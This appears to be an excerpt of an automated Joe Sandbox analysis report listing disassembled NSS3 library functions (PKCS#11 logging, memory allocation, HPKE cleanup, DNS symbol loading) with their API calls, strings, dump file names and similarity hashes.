PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC69B4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC69C3

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC69D9
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6CAC69FA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6CAC6A13
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CAC6A2C
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6CAC6A47
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6CAC6AB9

Strings

pulPartLen = 0x%p, xrefs: 6CAC6A42
pEncryptedPart = 0x%p, xrefs: 6CAC69F5
C_DecryptUpdate, xrefs: 6CAC6981
ulEncryptedPartLen = %d, xrefs: 6CAC6A0E
(CK_INVALID_HANDLE), xrefs: 6CAC69BC
hSession = 0x%x, xrefs: 6CAC699E, 6CAC69AE
*pulPartLen = 0x%x, xrefs: 6CAC6AB4
pPart = 0x%p, xrefs: 6CAC6A27

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptUpdate
API String ID: 1003633598-2105479268
Opcode ID: 764f128022f88124718f292a2ea5deddaf4662360e9998824ad9e3b63a70bc13
Instruction ID: 81f5ea14840e46d73f2c94f31d979a0c98ee4c47c3654a05ad1feecfc8160092
Opcode Fuzzy Hash: 764f128022f88124718f292a2ea5deddaf4662360e9998824ad9e3b63a70bc13
Instruction Fuzzy Hash: 9541C139741084ABDB00CF54EE88AAE3BB5EB46319F488024E819A7711DF30DD99CB97

Function 6CA94AF0 Relevance: 27.4, APIs: 18, Instructions: 355memorystringthreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,?,6CAD1444,?,?,00000000,?,?), ref: 6CA94BD4

Part of subcall function 6CAD0C90: PR_SetError.NSS3(00000000,00000000,6CAD1444,?,00000001,?,00000000,00000000,?,?,6CAD1444,?,?,00000000,?,?), ref: 6CAD0CB3

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CAD1444), ref: 6CA94B87
memcpy.VCRUNTIME140(00000000,?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA94BA5

Part of subcall function 6CAE88E0: TlsGetValue.KERNEL32(00000000,?,?,6CAF08AA,?), ref: 6CAE88F6
Part of subcall function 6CAE88E0: EnterCriticalSection.KERNEL32(?,?,?,?,6CAF08AA,?), ref: 6CAE890B
Part of subcall function 6CAE88E0: PR_NotifyCondVar.NSS3(?,?,?,?,?,6CAF08AA,?), ref: 6CAE8936
Part of subcall function 6CAE88E0: PR_Unlock.NSS3(?,?,?,?,?,6CAF08AA,?), ref: 6CAE8940

PR_SetError.NSS3(FFFFE02A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA94DF5
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?), ref: 6CA94B94

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CAD1444,?), ref: 6CA94BC2
PR_GetCurrentThread.NSS3(?,?,?,?,?,00000000,00000000), ref: 6CA94BEF
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CAD1444), ref: 6CA94C27
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CAD1444), ref: 6CA94C42
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA94D5A
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CA94D67
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CA94D78
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CA94DE4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA94E4C
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CA94E5B
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CA94E6C

Part of subcall function 6CA94880: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA948A2

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CA94EF1
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA94F02

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Error$Arena$Alloc_Item_Valuememcpystrlen$CriticalEnterSectionUnlockZfree$AllocateArena_CompareCondCurrentFreeNotifyThreadfree
String ID:
API String ID: 24311736-0
Opcode ID: 445784eddac93822dec52e4485876b116328ab65d50802e45222cb81d5622039
Instruction ID: e5681c6bea2c9e9278fda133f46b4d5c58cad6ac43cee67d7e14f563c8e90b67
Opcode Fuzzy Hash: 445784eddac93822dec52e4485876b116328ab65d50802e45222cb81d5622039
Instruction Fuzzy Hash: 13C14DB5E102159FDB00CF69DD81BDF77F8AF09308F144529E825A7701E731E9988BA2

Function 6CB228C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6CB25B40: PR_GetIdentitiesLayer.NSS3 ref: 6CB25B56

TlsGetValue.KERNEL32 ref: 6CB2290A
EnterCriticalSection.KERNEL32(00000001), ref: 6CB2291E
TlsGetValue.KERNEL32 ref: 6CB22937
EnterCriticalSection.KERNEL32(00000001), ref: 6CB2294B
PR_EnterMonitor.NSS3(?), ref: 6CB22966
PR_EnterMonitor.NSS3(?), ref: 6CB229AC
PR_ExitMonitor.NSS3(?), ref: 6CB229D1
PR_EnterMonitor.NSS3(?), ref: 6CB229F0
PR_EnterMonitor.NSS3(?), ref: 6CB22A15
PR_EnterMonitor.NSS3(?), ref: 6CB22A37
PR_ExitMonitor.NSS3(?), ref: 6CB22A61
PR_ExitMonitor.NSS3(?), ref: 6CB22A78
PR_ExitMonitor.NSS3(?), ref: 6CB22A8F
PR_ExitMonitor.NSS3(?), ref: 6CB22AA6

Part of subcall function 6CB59440: TlsGetValue.KERNEL32 ref: 6CB5945B
Part of subcall function 6CB59440: TlsGetValue.KERNEL32 ref: 6CB59479
Part of subcall function 6CB59440: EnterCriticalSection.KERNEL32 ref: 6CB59495
Part of subcall function 6CB59440: TlsGetValue.KERNEL32 ref: 6CB594E4
Part of subcall function 6CB59440: TlsGetValue.KERNEL32 ref: 6CB59532
Part of subcall function 6CB59440: LeaveCriticalSection.KERNEL32 ref: 6CB5955D

PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6CB22AF9
free.MOZGLUE(?), ref: 6CB22B16
PR_Unlock.NSS3(?), ref: 6CB22B6D
PR_Unlock.NSS3(?), ref: 6CB22B80

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: 751900d621089cffc9fa8ac86cfb840dab1a9006fbba51ade28de622e8257443
Instruction ID: de74d8e2df977bec67540a4b4317ed2a0c19026e37ca4b4a2416b9f558cc0fa0
Opcode Fuzzy Hash: 751900d621089cffc9fa8ac86cfb840dab1a9006fbba51ade28de622e8257443
Instruction Fuzzy Hash: CB81C2B5A107805BEB209F74EC497ABB7E5AF05318F044828E85EC7B11EB35E519CB83

Function 6CAE8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CAE8E01,00000000,6CAE9060,6CBF0B64), ref: 6CAE8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CAE8E01,00000000,6CAE9060,6CBF0B64), ref: 6CAE8E9E
PORT_ArenaAlloc_Util.NSS3(6CBF0B64,00000001,?,?,?,?,6CAE8E01,00000000,6CAE9060,6CBF0B64), ref: 6CAE8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CAE8E01,00000000,6CAE9060,6CBF0B64), ref: 6CAE8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CAE8E01,00000000,6CAE9060,6CBF0B64), ref: 6CAE8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CAE8E01,00000000,6CAE9060,6CBF0B64), ref: 6CAE8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CAE8E01), ref: 6CAE8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CBF0B64,6CBF0B64), ref: 6CAE8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CAE8F3F

Part of subcall function 6CAEA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CAEA421,00000000,00000000,6CAE9826), ref: 6CAEA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAE904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CAE8E76

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: b1d4ba1bcad595cce5120ba6df6e58a3a9260ad6015baa79c647382a0b9ea0eb
Instruction ID: b9c6eee3cef219fee19427f6adb08f15440b40674b1cdbb549f76cd3ba71dc50
Opcode Fuzzy Hash: b1d4ba1bcad595cce5120ba6df6e58a3a9260ad6015baa79c647382a0b9ea0eb
Instruction Fuzzy Hash: 3B61A1B5E002459BDB10DF65CD80AEFB7B9EF88358F184128DC18A7700E732A956DBE0

Function 6CA98E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA98E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CA98E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CA98EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CBC18D0,?), ref: 6CA98F03
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CA98F19
PL_FreeArenaPool.NSS3(?), ref: 6CA98F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CA98F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CA98F65
PL_FinishArenaPool.NSS3(?), ref: 6CA98FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CA98FFE
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CA99012
PL_FreeArenaPool.NSS3(?), ref: 6CA99024
PL_FinishArenaPool.NSS3(?), ref: 6CA9902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CA9903E

Strings

security, xrefs: 6CA98EE7

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: c88535d1dfc072352596b61aee8215121fafc75f6437ae8ac6b5939550487643
Instruction ID: 94a43e55db755b9416a256078de858e7fc5ed2838b7cf921154ba83961cd7ae4
Opcode Fuzzy Hash: c88535d1dfc072352596b61aee8215121fafc75f6437ae8ac6b5939550487643
Instruction Fuzzy Hash: B85158B5618340ABD7009A58DD42FBF73E8AF8535CF48082EF5A997B40E731D9898763

Function 6CAC4E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6CAC4E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC4EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC4EC7

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC4EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CAC4F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC4F1A
PR_LogPrint.NSS3(?,00000000), ref: 6CAC4F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CAC4F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CAC4F68

Strings

pTemplate = 0x%p, xrefs: 6CAC4F4A
(CK_INVALID_HANDLE), xrefs: 6CAC4EC0, 6CAC4F13
hObject = 0x%x, xrefs: 6CAC4EF5, 6CAC4F05
hSession = 0x%x, xrefs: 6CAC4EA2, 6CAC4EB2
C_GetAttributeValue, xrefs: 6CAC4E7E
ulCount = %d, xrefs: 6CAC4F63

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: e8bd13f776b3c565142bebea0cfe418161b543f734aed0d94c1bdb54437afc4e
Instruction ID: c264769b7008dea63a04813f23e7a0efad1b6d799c62874ad730b38c2aa16847
Opcode Fuzzy Hash: e8bd13f776b3c565142bebea0cfe418161b543f734aed0d94c1bdb54437afc4e
Instruction Fuzzy Hash: 6B41E535701184ABDB009B58ED88FAE77B5EB4271DF088024E91967711DB309D99CBAB

Function 6CAC4CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CAC4CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC4D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC4D37

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC4D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CAC4D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC4D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CAC4DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CAC4DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CAC4E20

Strings

pulSize = 0x%p, xrefs: 6CAC4DB7
(CK_INVALID_HANDLE), xrefs: 6CAC4D30, 6CAC4D83
hObject = 0x%x, xrefs: 6CAC4D65, 6CAC4D75
hSession = 0x%x, xrefs: 6CAC4D12, 6CAC4D22
C_GetObjectSize, xrefs: 6CAC4CEE
*pulSize = 0x%x, xrefs: 6CAC4E1B

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 474543dd4979e8e02ddf218aeb273d7e102f72973c2f3bf561b1d04dfd72cc40
Instruction ID: ec52bad9036dde30014da167cab152dfdc78fe38c86728ed02edb8cf2ad999bc
Opcode Fuzzy Hash: 474543dd4979e8e02ddf218aeb273d7e102f72973c2f3bf561b1d04dfd72cc40
Instruction Fuzzy Hash: D7410175701184AFDB019B54ED88FBE77B5EB4231DF088028E8096BB11DB308D99CB6B

Function 6CAC2F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6CAC2F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC2F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC2F63

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC2F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6CAC2F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6CAC2FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6CAC2FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6CAC2FE7

Strings

(CK_INVALID_HANDLE), xrefs: 6CAC2F5C
ulNewLen = %d, xrefs: 6CAC2FE2
hSession = 0x%x, xrefs: 6CAC2F3E, 6CAC2F4E
pOldPin = 0x%p, xrefs: 6CAC2F95
C_SetPIN, xrefs: 6CAC2F21
ulOldLen = %d, xrefs: 6CAC2FB0
pNewPin = 0x%p, xrefs: 6CAC2FC9

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: 589d7eeb5486a97c7e6e11284d0abb3d25daa29788bb76463358b376f69a59c9
Instruction ID: 0e1b561b51a97e2699dbce808abd8c079943b7bee8de8587a9d7fdf16d594a77
Opcode Fuzzy Hash: 589d7eeb5486a97c7e6e11284d0abb3d25daa29788bb76463358b376f69a59c9
Instruction Fuzzy Hash: EB310479B011C4AFDB008F58ED8CE9E37B5EB46319F084114E819A7B11DB3099A8CBA7

Function 6CACA9A0 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptMessageBegin), ref: 6CACA9C6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CACA9F4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CACAA03

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CACAA19
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CACAA3A
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CACAA55
PR_LogPrint.NSS3( pAssociatedData = 0x%p,?), ref: 6CACAA6E
PR_LogPrint.NSS3( ulAssociatedDataLen = 0x%p,?), ref: 6CACAA87

Strings

(CK_INVALID_HANDLE), xrefs: 6CACA9FC
hSession = 0x%x, xrefs: 6CACA9DE, 6CACA9EE
pAssociatedData = 0x%p, xrefs: 6CACAA69
C_DecryptMessageBegin, xrefs: 6CACA9C1
ulAssociatedDataLen = 0x%p, xrefs: 6CACAA82
ulParameterLen = 0x%p, xrefs: 6CACAA50
pParameter = 0x%p, xrefs: 6CACAA35

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pAssociatedData = 0x%p$ pParameter = 0x%p$ ulAssociatedDataLen = 0x%p$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_DecryptMessageBegin
API String ID: 1003633598-2188218412
Opcode ID: e1253a2c6fc7b599f657bd64efa26db05e71c4342f2e5a1fbcaf86cef0bf6f88
Instruction ID: 4c8fd97c1136ab9a46af1e321ab27f5d7121a8d1b4c33ee6605701469c9c6ecc
Opcode Fuzzy Hash: e1253a2c6fc7b599f657bd64efa26db05e71c4342f2e5a1fbcaf86cef0bf6f88
Instruction Fuzzy Hash: 3031A2757011C4AFDB00DB94EE88EAE37B6EB46319F484024E91967B11DB309D98CBA7

Function 6CB5CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CB5CC7B), ref: 6CB5CD7A

Part of subcall function 6CB5CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CACC1A8,?), ref: 6CB5CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CB5CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CB5CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CB5CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CB5CD8E

Part of subcall function 6CA805C0: PR_EnterMonitor.NSS3 ref: 6CA805D1
Part of subcall function 6CA805C0: PR_ExitMonitor.NSS3 ref: 6CA805EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CB5CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CB5CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CB5CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CB5CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CB5CE48

Strings

ws2_32.dll, xrefs: 6CB5CD75
freeaddrinfo, xrefs: 6CB5CD9F, 6CB5CE10
getaddrinfo, xrefs: 6CB5CD88, 6CB5CDF9
